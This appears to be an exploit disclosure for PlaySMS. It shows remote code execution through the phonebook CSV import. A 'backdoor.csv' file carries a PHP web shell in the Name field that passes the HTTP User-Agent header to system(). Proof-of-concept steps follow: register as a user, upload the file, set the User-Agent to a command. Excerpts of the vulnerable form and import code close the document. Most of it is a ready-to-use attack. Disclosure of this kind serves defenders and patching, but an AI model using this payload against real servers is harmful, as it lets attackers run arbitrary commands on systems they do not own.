1. Description
 
Code Execution using import.php

     We know import.php accept file and just read content 
    not stored in server. But when we stored payload in our backdoor.csv 
    and upload to phonebook. Its execute our payload and show on next page in field (in NAME,MOBILE,Email,Group COde,Tags) accordingly .

    In My case i stored my vulnerable code  in my backdoor.csv files's Name field .

    But There is one problem in execution. Its only execute in built function and variable which is used in application. 

    That why the server not execute our payload directly. Now i Use "<?php $a=$_SERVER['HTTP_USER_AGENT']; system($a); ?>" in name field and change our user agent to any command which u want to execute command. Bcz it not execute <?php system("id")?> directly .

Example of my backdoor.csv file content
----------------------MY FILE CONTENT------------------------------------
Name												Mobile	Email	Group code	Tags
<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>	22			

--------------------MY FILE CONTENT END HERE-------------------------------

2. Proof of Concept
  
Login as regular user (created user using index.php?app=main&inc=core_auth&route=register):
 
Go to :
http://127.0.0.1/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=list


And Upload my malicious File.(backdoor.csv)
and change our User agent.

 
 This is Form For Upload Phonebook.
----------------------Form for upload CSV file ----------------------
<form action=\"index.php?app=main&inc=feature_phonebook&route=import&op=import\" enctype=\"multipart/form-data\" method=POST>
" . _CSRF_FORM_ . "
<p>" . _('Please select CSV file for phonebook entries') . "</p>
<p><input type=\"file\" name=\"fnpb\"></p>
<p class=text-info>" . _('CSV file format') . " : " . _('Name') . ", " . _('Mobile') . ", " . _('Email') . ", " . _('Group code') . ", " . _('Tags') . "</p>
<p><input type=\"submit\" value=\"" . _('Import') . "\" class=\"button\"></p>
</form>
------------------------------Form ends ---------------------------
 

 
-------------Read Content and Display Content-----------------------
 
   case "import":

		if (file_exists($fnpb_tmpname)) {
			$session_import = 'phonebook_' . _PID_;
			unset($_SESSION['tmp'][$session_import]);
			ini_set('auto_detect_line_endings', TRUE);
			if (($fp = fopen($fnpb_tmpname, "r")) !== FALSE) {
				$i = 0;
				while ($c_contact = fgetcsv($fp, 1000, ',', '"', '\\')) {

							<td>$contact[0]</td>
							<td>$contact[1]</td>
							<td>$contact[2]</td>

							<td>$contact[4]</td>
							</tr>";
						$k = $i - 1;
						$_SESSION['tmp'][$session_import][$k] = $contact;
